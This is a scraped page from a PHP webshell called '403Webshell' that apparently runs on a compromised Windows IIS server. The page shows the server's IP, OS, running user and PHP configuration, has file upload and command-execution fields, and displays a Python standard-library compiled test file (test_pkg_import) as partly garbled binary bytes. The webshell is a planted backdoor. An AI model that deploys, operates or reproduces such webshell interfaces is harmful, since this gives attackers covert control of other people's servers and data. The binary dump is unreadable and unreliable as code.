403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.189
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python312/Lib/test/test_importlib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python312/Lib/test/test_importlib/__pycache__/test_pkg_import.cpython-312.pyc
�

���g���ddlZddlZddlZddlZddlZddlZddlZddlmZddl	m
Z
Gd�dej�Ze
dk(rej�yy)�N)�cache_from_source)�create_empty_filec�0�eZdZd�Zd�Zd�Zd�Zd�Zd�Zy)�
TestImportc�^�d|_|jtjvrS|xjtjt
j�z
c_|jtjvr�S|jdz|_tjj|g|��i|��y)N�PACKAGE_z.foo)�package_name�sys�modules�random�choice�string�
ascii_letters�module_name�unittest�TestCase�__init__)�self�args�kws   �8C:\Python312\\Lib\test\test_importlib\test_pkg_import.pyrzTestImport.__init__s���&������3�;�;�.�������v�/C�/C�!D�D�����3�;�;�.��,�,�v�5������"�"�4�5�$�5�"�5�c��|j|jfD]&}|tjvs�tj|=�(y)N)r	rr
r)rrs  r�remove_moduleszTestImport.remove_moduless6�� �-�-�t�/?�/?�@�K��c�k�k�)��K�K��,�Arc��tj�|_tjj|j�tjj|j|j�|_	t
j|j�ttjj|jd��tjj|jd�|_y)Nz__init__.pyzfoo.py)
�tempfile�mkdtemp�test_dirr
�path�append�os�joinr	�package_dir�mkdirr�module_path�rs r�setUpzTestImport.setUps��� �(�(�*��
�������
�
�&��7�7�<�<��
�
�(,�(9�(9�;���
����!�!�"��"�'�'�,�,�t�'7�'7��G�H��7�7�<�<��(8�(8�(�C��rc�&�tj|j�|jtj
j
|j�d�tj
j|j�|j�y)Nr)	�shutil�rmtreer�assertNotEqualr
r�count�removerr&s r�tearDownzTestImport.tearDown#sS���
�
�d�m�m�$����C�H�H�N�N�4�=�=�9�1�=�������
�
�&����rc��t|j�}tjj	|�rtj
|�t
|jdd��5}|j|�ddd�y#1swYyxYw)N�wzutf-8)�encoding)rr%r!r�existsr-�open�write)r�contents�
compiled_path�fs    r�rewrite_filezTestImport.rewrite_file)sZ��)�$�*:�*:�;�
�
�7�7�>�>�-�(��I�I�m�$�
�$�"�"�C�'�
:�a�
�G�G�H��;�
:�
:�s�"A=�=Bc��|jd�t|j�td��#t$rYnwxYw|j|jtj�|jttj|jd��d}|tt�vr8|tjtj �z
}|tt�vr�8|j|�t|j�td��#t"$rYnwxYw|jd|z�t|j�j$}|j't)||�d�y)N�forzFailed to induce SyntaxError�foo�azFailed to induce NameError.z%s = 1�)r8�
__import__r�RuntimeError�SyntaxError�assertNotInr
r�assertFalse�hasattrr	�dir�__builtins__rr
rr�	NameErrorr;�assertEqual�getattr)r�var�modules   r�test_package_import__semanticsz)TestImport.test_package_import__semantics0s/��
	
���%� �
��(�(�
)� �!?�@�@��� �D� ������)�)�3�;�;�7��������T�->�->�!?��G�H����S��&�&��6�=�=��!5�!5�6�6�C��S��&�&�	
���#��
��(�(�
)� �!>�?�?����$���
	
���(�S�.�)��D�,�,�-�1�1��������-�q�1s�2�	>�>�=D�	D)�(D)N)	�__name__�
__module__�__qualname__rrr'r.r8rK�rrrrs!��6�-�
D���2rr�__main__)r!r
r)rrrr�importlib.utilr�test.support.os_helperrrrrL�mainrOrr�<module>rTsO��	�
�
�
�
���,�4�@2��"�"�@2�F�z���H�M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit